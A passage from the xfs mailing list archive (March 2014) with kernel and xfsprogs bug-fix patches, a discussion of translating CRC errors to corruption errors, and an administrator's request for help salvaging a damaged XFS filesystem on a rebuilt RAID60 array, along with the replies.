b/fs/xfs/xfs_trans_buf.c > index 647b6f1..b8eef05 100644 > --- a/fs/xfs/xfs_trans_buf.c > +++ b/fs/xfs/xfs_trans_buf.c > @@ -275,6 +275,10 @@ xfs_trans_read_buf_map( > XFS_BUF_UNDONE(bp); > xfs_buf_stale(bp); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > #ifdef DEBUG > @@ -338,6 +342,9 @@ xfs_trans_read_buf_map( > if (tp->t_flags & XFS_TRANS_DIRTY) > xfs_force_shutdown(tp->t_mountp, > SHUTDOWN_META_IO_ERROR); > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > } > @@ -375,6 +382,10 @@ xfs_trans_read_buf_map( > if (tp->t_flags & XFS_TRANS_DIRTY) > xfs_force_shutdown(tp->t_mountp, SHUTDOWN_META_IO_ERROR); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > #ifdef DEBUG > -- > 1.9.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@redhat.com Mon Mar 3 13:14:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E55777F51 for ; Mon, 3 Mar 2014 13:14:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BE8408F8065 for ; Mon, 3 Mar 2014 11:14:01 -0800 (PST) X-ASG-Debug-ID: 1393874040-04cb6c56771eb340001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cHBeGXgijvdegkrU for ; Mon, 03 Mar 2014 11:14:00 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s23JDxYw028404 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 3 Mar 2014 14:14:00 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s23JDwLI004584 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Mon, 3 Mar 2014 14:13:59 -0500 Message-ID: <5314D476.7030503@redhat.com> Date: Mon, 03 Mar 2014 13:13:58 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs_repair: fix array overrun in do_inode_prefetch X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_repair: fix array overrun in do_inode_prefetch Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393874040 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Coverity spotted this: do_inode_prefetch() does a while loop, creating queues: for (i = 0; i < thread_count; i++) { ... create_work_queue(&queues[i], mp, 1); ... } and then does this to wait for them all to complete: for (; i >= 0; i--) destroy_work_queue(&queues[i]); But we leave the first for loop with (i == thread_coun)t, and the second one will try to index queues[] one past the end. Signed-off-by: Eric Sandeen --- diff --git a/repair/prefetch.c b/repair/prefetch.c index 0f9e3fe..e47a48e 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -995,7 +995,7 @@ do_inode_prefetch( /* * wait for workers to complete */ - for (; i >= 0; i--) + while (i--) destroy_work_queue(&queues[i]); free(queues); } From sandeen@redhat.com Mon Mar 3 14:42:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C4DF27F4E for ; Mon, 3 Mar 2014 14:42:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE1A7304043 for ; Mon, 3 Mar 2014 12:41:58 -0800 (PST) X-ASG-Debug-ID: 1393879316-04cb6c56781f3500001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LEomC50CBcxFx1IM for ; Mon, 03 Mar 2014 12:41:57 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s23KfuaY008248 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 3 Mar 2014 15:41:56 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s23Kftmj010282 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Mon, 3 Mar 2014 15:41:55 -0500 Message-ID: <5314E912.9080708@redhat.com> Date: Mon, 03 Mar 2014 14:41:54 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfsprogs: fix use after free in inode_item_done() X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfsprogs: fix use after free in inode_item_done() Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393879317 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Commit "3a19fb7 libxfs: stop caching inode structures" introduced a use after free. libxfs_iput() already does the check for ip->i_itemp, and a kmem_zone_free() if it's present, and then frees the ip pointer. Re-checking ip->i_itemp after the libxfs_iput call will access the freed ip pointer, as will setting ip_>i_itemp to NULL. Simply remove the offending code to fix this up. Signed-off-by: Eric Sandeen --- diff --git a/libxfs/trans.c b/libxfs/trans.c index 6c9d202..2e6720e 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -694,7 +694,6 @@ inode_item_done( xfs_mount_t *mp; xfs_buf_t *bp; int error; - extern kmem_zone_t *xfs_ili_zone; ip = iip->ili_inode; mp = iip->ili_item.li_mountp; @@ -739,12 +738,6 @@ ili_done: } else { libxfs_iput(ip, 0); } - - if (ip->i_itemp) - kmem_zone_free(xfs_ili_zone, ip->i_itemp); - else - ASSERT(0); - ip->i_itemp = NULL; } static void From pbrunk@uga.edu Mon Mar 3 15:06:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 62DA27F50 for ; Mon, 3 Mar 2014 15:06:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E36CDAC002 for ; Mon, 3 Mar 2014 13:06:21 -0800 (PST) X-ASG-Debug-ID: 1393880776-04bdf05daa211400001-NocioJ Received: from na01-bn1-obe.outbound.protection.outlook.com (mail-bn1blp0190.outbound.protection.outlook.com [207.46.163.190]) by cuda.sgi.com with ESMTP id We3ZXozGF3njPheZ (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 03 Mar 2014 13:06:17 -0800 (PST) X-Barracuda-Envelope-From: pbrunk@uga.edu X-Barracuda-Apparent-Source-IP: 207.46.163.190 Received: from CH1PRD0210HT001.namprd02.prod.outlook.com (10.255.149.164) by BLUPR02MB262.namprd02.prod.outlook.com (10.141.76.20) with Microsoft SMTP Server (TLS) id 15.0.888.9; Mon, 3 Mar 2014 21:06:15 +0000 Received: from [128.192.88.244] (128.192.88.244) by pod51004.outlook.com (10.255.149.164) with Microsoft SMTP Server (TLS) id 14.16.423.0; Mon, 3 Mar 2014 21:06:15 +0000 Message-ID: <5314EE97.3020004@uga.edu> Date: Mon, 3 Mar 2014 16:05:27 -0500 From: Paul Brunk User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Thunderbird/29.0a2 MIME-Version: 1.0 To: Subject: rebuilt HW RAID60 array; XFS filesystem looks bad now Content-Type: text/plain; charset="UTF-8"; format=flowed X-ASG-Orig-Subj: rebuilt HW RAID60 array; XFS filesystem looks bad now Content-Transfer-Encoding: 7bit X-Originating-IP: [128.192.88.244] X-Forefront-PRVS: 0139052FDB X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10009001)(6009001)(428001)(199002)(189002)(76786001)(77096001)(76796001)(93516002)(92726001)(85852003)(86362001)(74662001)(47446002)(19580395003)(77982001)(63696002)(66066001)(65956001)(65806001)(95416001)(92566001)(85306002)(31966008)(74502001)(93136001)(80022001)(94946001)(94316002)(79102001)(83506001)(90146001)(83072002)(59766001)(56816005)(83322001)(80316001)(53806001)(59896001)(56776001)(64126003)(75432001)(54316002)(4396001)(74366001)(36756003)(81342001)(54356001)(69226001)(33656001)(80976001)(76482001)(51856001)(81542001)(47736001)(76176001)(23676002)(50986001)(95666003)(47776003)(49866001)(81816001)(47976001)(87936001)(50466002)(74706001)(46102001)(74876001)(81686001);DIR:OUT;SFP:1101;SCL:1;SRVR:BLUPR02MB262;H:CH1PRD0210HT001.namprd02.prod.outlook.com;CLIP:128.192.88.244;FPR:A023D1DA.A002978D.DFF3D3FF.44D8D461.20593;PTR:InfoNoRecords;A:1;MX:1;LANG:en; Received-SPF: None (: uga.edu does not designate permitted sender hosts) X-OriginatorOrg: uga.edu X-Barracuda-Connect: mail-bn1blp0190.outbound.protection.outlook.com[207.46.163.190] X-Barracuda-Start-Time: 1393880777 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145708 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi: Short version: XFS filesystem on HW RAID60 array. Array has been multiply rebuilt due to drive insertions. XFS filesystem damaged and trying to salvage what I can, and I want to make sure I have no option other than "xfs_repair -L". Details follow. # uname -a Linux rccstor7.local 2.6.32-431.5.1.el6.x86_64 #1 SMP Wed Feb 12 00:41:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux xfs_repair version 3.1.1. The box has one 4-core Opteron CPU and 8 GB of RAM. I have a 32TB HW RAID60 volume (Areca 1680 HW RAID) made of two RAID6 raid sets. This volume is a PV in Linux LVM, with a single LV defined in it. The LV had an XFS filesystem created on it (no external log). I can't do xfs_info on it because I can't mount the filesystem. I had multiple drive removals and insertions (due to timeout error with non-TLER drives in the RAID array, an unfortunate setup I inherited), which triggered multiple HW RAID rebuilds. This caused the RAID volume to end up defined twice in the controller, with each of the two constituent RAID sets being defined twice. At Areca's direction, I did a "raid set rescue" in the Areca controller. That succeeded in reducing the number of volumes from two to one, and the RAID volume is now "normal" in the RAID controller instead of "failed". The logical volume is visible to the OS now, unlike when the RAID status was "failed". # lvdisplay --- Logical volume --- LV Path /dev/vg0/lv0 LV Name lv0 VG Name vg0 LV UUID YMlFWe-PTGe-5kHx-V3uo-31Vp-grXR-9ZBt3R LV Write Access read/write LV Creation host, time , LV Status available # open 0 LV Size 32.74 TiB Current LE 8582595 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:2 That's good, but now I think the XFS filesystem is in bad shape. # grep /media/shares /etc/fstab UUID="9cba4e90-1d8f-4a98-8701-df10a28556da" /media/shares xfs pquota 0 0 That UUID entry in /dev/disk/by-uuid is a link to /dev/dm-2. "dm-2" is the RAID volume. Here it is in /proc/partitions: major minor #blocks name 253 2 35154309120 dm-2 When I try to mount the XFS filesystem: # mount /media/shares mount: wrong fs type, bad option, bad superblock on /dev/mapper/vg0-lv0, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so # dmesg|tail XFS (dm-2): Mounting Filesystem XFS (dm-2): Log inconsistent or not a log (last==0, first!=1) XFS (dm-2): empty log check failed XFS (dm-2): log mount/recovery failed: error 22 XFS (dm-2): log mount failed # xfs_check /dev/dm-2 xfs_check: cannot init perag data (117) XFS: Log inconsistent or not a log (last==0, first!=1) XFS: empty log check failed # xfs_repair -n /dev/dm-2 produced at least 7863 lines of output. It begins Phase 1 - find and verify superblock... Phase 2 - using internal log - scan filesystem freespace and inode maps... bad magic # 0xa04850d in btbno block 0/108 expected level 0 got 10510 in btbno block 0/108 bad btree nrecs (144, min=255, max=510) in btbno block 0/108 block (0,80-80) multiply claimed by bno space tree, state - 2 block (0,108-108) multiply claimed by bno space tree, state - 7 # egrep -c "invalid start block" xfsrepair.out 2061 # egrep -c "multiply claimed by bno" xfsrepair.out 4753 Included in the output are 381 occurrences of this pair of messages: bad starting inode # (0 (0x0 0x0)) in ino rec, skipping rec badly aligned inode rec (starting inode = 0) Is there anything I should try prior to xfs_repair -L? I'm just trying to salvage whatever I can from this FS. I'm aware it could be all gone. Thanks. -- Paul Brunk, system administrator Georgia Advanced Computing Resource Center (GACRC) Enterprise IT Svcs, the University of Georgia From sandeen@sandeen.net Mon Mar 3 15:24:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5E4D47F50 for ; Mon, 3 Mar 2014 15:24:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4B2FAC002 for ; Mon, 3 Mar 2014 13:24:34 -0800 (PST) X-ASG-Debug-ID: 1393881872-04cbb054b6073f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id DUGyYW7G00G8IsUE for ; Mon, 03 Mar 2014 13:24:33 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id B6BCF6178008; Mon, 3 Mar 2014 15:24:32 -0600 (CST) Message-ID: <5314F310.8080703@sandeen.net> Date: Mon, 03 Mar 2014 15:24:32 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Paul Brunk , xfs@oss.sgi.com Subject: Re: rebuilt HW RAID60 array; XFS filesystem looks bad now References: <5314EE97.3020004@uga.edu> X-ASG-Orig-Subj: Re: rebuilt HW RAID60 array; XFS filesystem looks bad now In-Reply-To: <5314EE97.3020004@uga.edu> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393881872 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145709 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Paul - On 3/3/14, 3:05 PM, Paul Brunk wrote: > Hi: It sounds like things are badly scrambled. > Is there anything I should try prior to xfs_repair -L? The log failure is probably just the first error xfs encounters; I imagine that after you zap the log, you'll find that everything else is in equally bad shape. You could _try_ an # xfs_metadump -o /dev/whatever fs.metadump # xfs_mdrestore fs.metadump fs.img and then try your various metadata salvage techniques on fs.img (recreating as necessary with another xfs_mdrestore after failure) as practice runs, but I'm guessing that xfs_metadump will fail in equally spectacular ways. Unless you can get your storage somehow reassembled properly, I doubt that there's much xfs tools can do to help you. -Eric > I'm just trying to salvage whatever I can from this FS. I'm aware it > could be all gone. Thanks. > From david@fromorbit.com Mon Mar 3 16:13:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 395BA7F50 for ; Mon, 3 Mar 2014 16:13:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 264F8304032 for ; Mon, 3 Mar 2014 14:13:20 -0800 (PST) X-ASG-Debug-ID: 1393884797-04cb6c56771f9970001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id TJ4lY5H7OUt8h9vc for ; Mon, 03 Mar 2014 14:13:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApFuAIf9FFN5LJYePGdsb2JhbABagwaDQ4UMs0eFWYEfFwMBAQEBHxkNKIIlAQEEATocIwULCAMVAwklDwUlAwcaE4dxB8xmFxaOQweEOASYO5VtKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 08:43:17 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKb6o-0004sS-JX; Tue, 04 Mar 2014 09:13:14 +1100 Date: Tue, 4 Mar 2014 09:13:14 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-ID: <20140303221314.GI13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> <5314BD2B.1010904@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5314BD2B.1010904@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393884797 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145710 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 03, 2014 at 11:34:35AM -0600, Eric Sandeen wrote: > On 3/2/14, 11:39 PM, Dave Chinner wrote: > > From: Dave Chinner > > > > While the verifier reoutines may return EFSBADCRC when a buffer ahs > > a bad CRC, we need to translate that to EFSCORRUPTED so that the > > higher layers treat the error appropriately and so we return a > > consistent error to userspace. This fixes a xfs/005 regression. > > Can you say a little more about the philosophy here? > > xfs/005 regresses because it expects "structure needs cleaning" > > So if we instead return our (icky) CRC error code, we get something else. > > But it is truly a different root cause. > > So the goal is to NEVER leak EFSBADCRC to userspace? Maybe a comment > above that error definition would help document that. Not permanently. At the moment, none of the code handles it correctly, and the leak to userspace is just a symptom that tells us we got somethign wrong. We have plenty of places where we check for EFSCORRUPTED and do something special, but if we get EFSBADCRC instead it will do the wrong thing.... > And I'm bit worried that we'll leak more in the future if things changed, > or if things got missed here. Everything you have here looks fine, but > it's not obvious that every path has been caught; it seems a bit random. It's not random. It's buffer reads that matter, and I checked all the calls to xfs_buf_read, xfs_buf_read_map, xfs_trans_read_buf and xfs_trans_read_buf. There aren't any other read interfaces that use verifiers, and so nothing else can return EFSBADCRC. For the log recovery cases, the buffer reads don' use verifiers, and those that do won't return EFSBADCRC (e.g. inode buffers). > I know we _just_ merged my "differentiator" patches, but I wonder if > it would be better to add XFS_BSTATE_BADCRC to b_state or some other > field, and go back to always assigning EFSCORRUPTED. What do you think? It's just the first layer of adding differentiating support. We've just put the mechanism in place to do the differentiation because we need it for *userspace functionality* before we need it for in-kernel functionality. We put it in the kernel because it has value to us developers to indicate what type of corruption error was detected in the dmesg output. We can't however, do everything at once, so for the moment the kernel code needs to translate it back to something the higher layers understand and treat correctly. > When I wrote those I wasn't thinking about keeping it all internal > to the filesystem. Only for the moment, until there's code in the kernel that makes it a meaningfully different error. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Mon Mar 3 16:20:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 68D137F51 for ; Mon, 3 Mar 2014 16:20:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5668B8F8065 for ; Mon, 3 Mar 2014 14:20:36 -0800 (PST) X-ASG-Debug-ID: 1393885235-04cbb054b60b0d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id dMUIJGCxg9AeVzeD for ; Mon, 03 Mar 2014 14:20:35 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D1F27610C4E7; Mon, 3 Mar 2014 16:20:34 -0600 (CST) Message-ID: <53150032.9050801@sandeen.net> Date: Mon, 03 Mar 2014 16:20:34 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> <5314BD2B.1010904@sandeen.net> <20140303221314.GI13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace In-Reply-To: <20140303221314.GI13647@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393885235 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145710 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/3/14, 4:13 PM, Dave Chinner wrote: > On Mon, Mar 03, 2014 at 11:34:35AM -0600, Eric Sandeen wrote: >> On 3/2/14, 11:39 PM, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> While the verifier reoutines may return EFSBADCRC when a buffer ahs >>> a bad CRC, we need to translate that to EFSCORRUPTED so that the >>> higher layers treat the error appropriately and so we return a >>> consistent error to userspace. This fixes a xfs/005 regression. >> >> Can you say a little more about the philosophy here? >> >> xfs/005 regresses because it expects "structure needs cleaning" >> >> So if we instead return our (icky) CRC error code, we get something else. >> >> But it is truly a different root cause. >> >> So the goal is to NEVER leak EFSBADCRC to userspace? Maybe a comment >> above that error definition would help document that. > > Not permanently. At the moment, none of the code handles it > correctly, and the leak to userspace is just a symptom that tells us > we got somethign wrong. We have plenty of places where we check for > EFSCORRUPTED and do something special, but if we get EFSBADCRC > instead it will do the wrong thing.... > >> And I'm bit worried that we'll leak more in the future if things changed, >> or if things got missed here. Everything you have here looks fine, but >> it's not obvious that every path has been caught; it seems a bit random. > > It's not random. It's buffer reads that matter, and I > checked all the calls to xfs_buf_read, xfs_buf_read_map, > xfs_trans_read_buf and xfs_trans_read_buf. There aren't any other > read interfaces that use verifiers, and so nothing else can return > EFSBADCRC. For the log recovery cases, the buffer reads don' use > verifiers, and those that do won't return EFSBADCRC (e.g. inode > buffers). > >> I know we _just_ merged my "differentiator" patches, but I wonder if >> it would be better to add XFS_BSTATE_BADCRC to b_state or some other >> field, and go back to always assigning EFSCORRUPTED. What do you think? > > It's just the first layer of adding differentiating support. We've > just put the mechanism in place to do the differentiation because we > need it for *userspace functionality* before we need it for > in-kernel functionality. We put it in the kernel because it has > value to us developers to indicate what type of corruption error was > detected in the dmesg output. We can't however, do everything at > once, so for the moment the kernel code needs to translate it back > to something the higher layers understand and treat correctly. > >> When I wrote those I wasn't thinking about keeping it all internal >> to the filesystem. > > Only for the moment, until there's code in the kernel that makes it > a meaningfully different error. Ok, thanks. Modulo Brian's question about other paths, what is here so far looks ok to me, then. A commit message that indicates that this is somewhat temporary might be in order? -Eric From david@fromorbit.com Mon Mar 3 16:29:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6356B7F50 for ; Mon, 3 Mar 2014 16:29:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DC40DAC004 for ; Mon, 3 Mar 2014 14:29:50 -0800 (PST) X-ASG-Debug-ID: 1393885788-04bdf05da92171c0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id P0xRQcWrVgIgyJxy for ; Mon, 03 Mar 2014 14:29:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApNuADkBFVN5LJYePGdsb2JhbABagwaDQ4UMs0iFWYEdFwMBAQEBHxkNKIIlAQEEAScTHCMFCwgDDgcDCSUPBSUDBxoTh3EHzGoXFo5DB4Q4BJg7lW0o Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) 